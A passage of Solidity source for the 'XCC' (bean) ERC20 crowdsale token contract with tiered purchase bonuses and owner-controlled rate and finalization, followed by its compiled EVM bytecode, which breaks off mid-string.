}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) balances;
/**
* Protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function changeOwner(address _newOwner) onlyOwner internal {
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
string public constant name = "bean";
string public constant symbol = "XCC";
uint8 public constant decimals = 0;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) {
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
emit Mint(_to, _amount);
emit Transfer(_owner, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint internal returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
MintableToken token = MintableToken(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
emit Transfer(_token, owner, balance);
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale is Ownable {
using SafeMath for uint256;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public tokenAllocated;
constructor(
address _wallet
)
public
{
require(_wallet != address(0));
wallet = _wallet;
}
}
contract XCCCrowdsale is Ownable, Crowdsale, MintableToken {
using SafeMath for uint256;
enum State {Active, Closed}
State public state;
// https://www.coingecko.com/en/coins/ethereum
// Rate for May 19, 2018
//$0.002 = 1 token => $ 1,000 = 1,4588743325649929 ETH =>
// 500,000 token = 1,4588743325649929 ETH => 1 ETH = 500,000/1,4588743325649929 = 298,855
uint256 public rate = 342730;
//uint256 public rate = 300000; //for test's
mapping (address => uint256) public deposited;
mapping(address => bool) public whitelist;
uint256 public constant INITIAL_SUPPLY = 7050000000 * (10 ** uint256(decimals));
uint256 public fundForSale = 7050000000 * (10 ** uint256(decimals));
uint256 public fundPreSale = 1 * (10 ** 9) * (10 ** uint256(decimals));
uint256 public countInvestor;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Finalized();
constructor(
address _owner
)
public
Crowdsale(_owner)
{
require(_owner != address(0));
owner = _owner;
//owner = msg.sender; //for test
transfersEnabled = true;
mintingFinished = false;
state = State.Active;
totalSupply = INITIAL_SUPPLY;
bool resultMintForOwner = mintForOwner(owner);
require(resultMintForOwner);
}
modifier inState(State _state) {
require(state == _state);
_;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address _investor) public inState(State.Active) payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
emit TokenPurchase(_investor, weiAmount, tokens);
if (deposited[_investor] == 0) {
countInvestor = countInvestor.add(1);
}
deposit(_investor);
wallet.transfer(weiAmount);
return tokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
//currentDate = 1526860899; //for test's
uint256 currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod < 2){
amountOfTokens = _weiAmount.mul(rate);
if (10**3*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 10**5*(10 ** uint256(decimals))) {
amountOfTokens = amountOfTokens.mul(101).div(100);
}
if (10**5*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 10**6*(10 ** uint256(decimals))) {
amountOfTokens = amountOfTokens.mul(1015).div(1000);
}
if (10**6*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 5*10**6*(10 ** uint256(decimals))) {
amountOfTokens = amountOfTokens.mul(1025).div(1000);
}
if (5*10**6*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 9*10**6*(10 ** uint256(decimals))) {
amountOfTokens = amountOfTokens.mul(105).div(100);
}
if (9*10**6*(10 ** uint256(decimals)) <= amountOfTokens) {
amountOfTokens = amountOfTokens.mul(110).div(100);
}
if(currentPeriod == 0){
amountOfTokens = amountOfTokens.mul(1074).div(1000);
if (tokenAllocated.add(amountOfTokens) > fundPreSale) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
return amountOfTokens;
}
}
return amountOfTokens;
}
function getPeriod(uint256 _currentDate) public pure returns (uint) {
//1527465600 - May, 28, 2018 00:00:00 && 1530143999 - Jun, 27, 2018 23:59:59
//1540080000 - Oct, 21, 2018 00:00:00 && 1542758399 - Nov, 20, 2018 23:59:59
if( 1527465600 <= _currentDate && _currentDate <= 1530143999){
return 0;
}
if( 1540080000 <= _currentDate && _currentDate <= 1542758399){
return 1;
}
return 10;
}
function deposit(address investor) internal {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function mintForOwner(address _wallet) internal returns (bool result) {
result = false;
require(_wallet != address(0));
balances[_wallet] = balances[_wallet].add(INITIAL_SUPPLY);
result = true;
}
function getDeposited(address _investor) public view returns (uint256){
return deposited[_investor];
}
function validPurchaseTokens(uint256 _weiAmount) public inState(State.Active) returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (10**3*(10 ** uint256(decimals)) > addTokens || addTokens > 9999*10**3*(10 ** uint256(decimals))) {
return 0;
}
if (tokenAllocated.add(addTokens) > fundForSale) {
emit TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function finalize() public onlyOwner inState(State.Active) returns (bool result) {
result = false;
state = State.Closed;
wallet.transfer(address(this).balance);
finishMinting();
emit Finalized();
result = true;
}
function setRate(uint256 _newRate) external onlyOwner returns (bool){
require(_newRate > 0);
rate = _newRate;
return true;
}
}
|
0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101a257806306fdde03146101d1578063095ea7b31461026157806318160ddd146102c657806323b872dd146102f15780632c4e722e146103765780632ff2e9dc146103a1578063313ce567146103cc57806334fcf437146103fd5780634042b66f14610442578063466bb3121461046d5780634b2c0706146104c45780634bb278f314610505578063521eb27314610534578063661884631461058b57806370a08231146105f057806378f7aeee146106475780638da5cb5b14610672578063916576c8146106c957806395d89b41146106f45780639b19251a14610784578063a9059cbb146107df578063bef97c8714610844578063c19d93fb14610873578063cb13cddb146108ac578063d1e2eb5e14610903578063d73dd6231461092e578063dd62ed3e14610993578063df8de3e714610a0a578063e8acee9e14610a4d578063ec8ac4d814610a78578063fc38ce1914610ac2575b61019f33610b03565b50005b3480156101ae57600080fd5b506101b7610d30565b604051808215151515815260200191505060405180910390f35b3480156101dd57600080fd5b506101e6610d43565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022657808201518184015260208101905061020b565b50505050905090810190601f1680156102535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026d57600080fd5b506102ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d7c565b604051808215151515815260200191505060405180910390f35b3480156102d257600080fd5b506102db610e6e565b6040518082815260200191505060405180910390f35b3480156102fd57600080fd5b5061035c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e74565b604051808215151515815260200191505060405180910390f35b34801561038257600080fd5b5061038b611267565b6040518082815260200191505060405180910390f35b3480156103ad57600080fd5b506103b661126d565b6040518082815260200191505060405180910390f35b3480156103d857600080fd5b506103e161127f565b604051808260ff1660ff16815260200191505060405180910390f35b34801561040957600080fd5b5061042860048036038101908080359060200190929190505050611284565b604051808215151515815260200191505060405180910390f35b34801561044e57600080fd5b50610457611301565b6040518082815260200191505060405180910390f35b34801561047957600080fd5b506104ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611307565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b506104ef60048036038101908080359060200190929190505050611350565b6040518082815260200191505060405180910390f35b34801561051157600080fd5b5061051a6113a8565b604051808215151515815260200191505060405180910390f35b34801561054057600080fd5b50610549611520565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059757600080fd5b506105d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611546565b604051808215151515815260200191505060405180910390f35b3480156105fc57600080fd5b50610631600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d7565b6040518082815260200191505060405180910390f35b34801561065357600080fd5b5061065c611820565b6040518082815260200191505060405180910390f35b34801561067e57600080fd5b50610687611826565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b506106de61184c565b6040518082815260200191505060405180910390f35b34801561070057600080fd5b50610709611852565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561074957808201518184015260208101905061072e565b50505050905090810190601f1680156107765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079057600080fd5b506107c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061188b565b604051808215151515815260200191505060405180910390f35b3480156107eb57600080fd5b5061082a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118ab565b604051808215151515815260200191505060405180910390f35b34801561085057600080fd5b50610859611b03565b604051808215151515815260200191505060405180910390f35b34801561087f57600080fd5b50610888611b16565b6040518082600181111561089857fe5b60ff16815260200191505060405180910390f35b3480156108b857600080fd5b506108ed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b29565b6040518082815260200191505060405180910390f35b34801561090f57600080fd5b50610918611b41565b6040518082815260200191505060405180910390f35b34801561093a57600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b47565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d43565b6040518082815260200191505060405180910390f35b348015610a1657600080fd5b50610a4b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611de2565b005b348015610a5957600080fd5b50610a6261214e565b6040518082815260200191505060405180910390f35b610aac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b03565b6040518082815260200191505060405180910390f35b348015610ace57600080fd5b50610aed60048036038101908080359060200190929190505050612154565b6040518082815260200191505060405180910390f35b600080600080806001811115610b1557fe5b600a60019054906101000a900460ff166001811115610b3057fe5b141515610b3c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610b7857600080fd5b349250610b8483612154565b91506000821415610b9457600080fd5b610ba98360085461223c90919063ffffffff16565b600881905550610bc48260095461223c90919063ffffffff16565b600981905550610bf78583600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661225a565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8484604051808381526020018281526020019250505060405180910390a26000600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610cb357610cac600160105461223c90919063ffffffff16565b6010819055505b610cbc85612460565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610d24573d6000803e3d6000fd5b50819350505050919050565b600a60009054906101000a900460ff1681565b6040805190810160405280600481526020017f6265616e0000000000000000000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60006003600460208202016000369050141515610e8d57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610ec957600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610f1757600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610fa257600080fd5b600360009054906101000a900460ff161515610fbd57600080fd5b61100f83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252c90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117683600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252c90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600b5481565b600060ff16600a0a6401a43676800281565b600081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112e257600080fd5b6000821115156112f157600080fd5b81600b8190555060019050919050565b60085481565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600081635b0b46801115801561136a5750635b3424ff8211155b1561137857600090506113a3565b81635bcbc180111580156113905750635bf49fff8211155b1561139e57600190506113a3565b600a90505b919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140657600080fd5b600080600181111561141457fe5b600a60019054906101000a900460ff16600181111561142f57fe5b14151561143b57600080fd5b600091506001600a60016101000a81548160ff0219169083600181111561145e57fe5b0217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156114e2573d6000803e3d6000fd5b506114eb612545565b507f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a1600191505090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611657576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116eb565b61166a838261252c90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60095481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b6040805190810160405280600381526020017f584343000000000000000000000000000000000000000000000000000000000081525081565b600d6020528060005260406000206000915054906101000a900460ff1681565b600060026004602082020160003690501415156118c457fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561190057600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561194e57600080fd5b600360009054906101000a900460ff16151561196957600080fd5b6119bb83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600360009054906101000a900460ff1681565b600a60019054906101000a900460ff1681565b600c6020528060005260406000206000915090505481565b60105481565b6000611bd882600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223c90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006002600460208202016000369050141515611d5c57fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4157600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff161415611ee557600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611edf573d6000803e3d6000fd5b50612149565b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611f8357600080fd5b505af1158015611f97573d6000803e3d6000fd5b505050506040513d6020811015611fad57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561208557600080fd5b505af1158015612099573d6000803e3d6000fd5b505050506040513d60208110156120af57600080fd5b810190808051906020019092919050505050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b505050565b600f5481565b600080600080600181111561216557fe5b600a60019054906101000a900460ff16600181111561218057fe5b14151561218c57600080fd5b6121958461260d565b915081600060ff16600a0a6103e80211806121bb5750600060ff16600a0a629892980282115b156121c95760009250612235565b600e546121e18360095461223c90919063ffffffff16565b1115612231577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260095483604051808381526020018281526020019250505060405180910390a160009250612235565b8192505b5050919050565b600080828401905083811015151561225057fe5b8091505092915050565b6000600a60009054906101000a900460ff1615151561227857600080fd5b6122ca83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235f83600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252c90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000600181111561246d57fe5b600a60019054906101000a900460ff16600181111561248857fe5b14151561249457600080fd5b6124e634600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223c90919063ffffffff16565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600082821115151561253a57fe5b818303905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125a357600080fd5b600a60009054906101000a900460ff161515156125bf57600080fd5b6001600a60006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b60008060008042925061261f83611350565b915060009050600282101561288457612643600b548661289090919063ffffffff16565b905080600060ff16600a0a6103e8021115801561266b5750600060ff16600a0a620186a00281105b1561269a57612697606461268960658461289090919063ffffffff16565b6128c390919063ffffffff16565b90505b80600060ff16600a0a620186a002111580156126c15750600060ff16600a0a620f42400281105b156126f2576126ef6103e86126e16103f78461289090919063ffffffff16565b6128c390919063ffffffff16565b90505b80600060ff16600a0a620f424002111580156127195750600060ff16600a0a624c4b400281105b1561274a576127476103e86127396104018461289090919063ffffffff16565b6128c390919063ffffffff16565b90505b80600060ff16600a0a624c4b4002111580156127715750600060ff16600a0a628954400281105b156127a05761279d606461278f60698461289090919063ffffffff16565b6128c390919063ffffffff16565b90505b80600060ff16600a0a62895440021115156127df576127dc60646127ce606e8461289090919063ffffffff16565b6128c390919063ffffffff16565b90505b6000821415612883576128116103e86128036104328461289090919063ffffffff16565b6128c390919063ffffffff16565b9050600f5461282b8260095461223c90919063ffffffff16565b111561287b577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260095482604051808381526020018281526020019250505060405180910390a160009350612888565b809350612888565b5b8093505b505050919050565b600080828402905060008414806128b157508284828115156128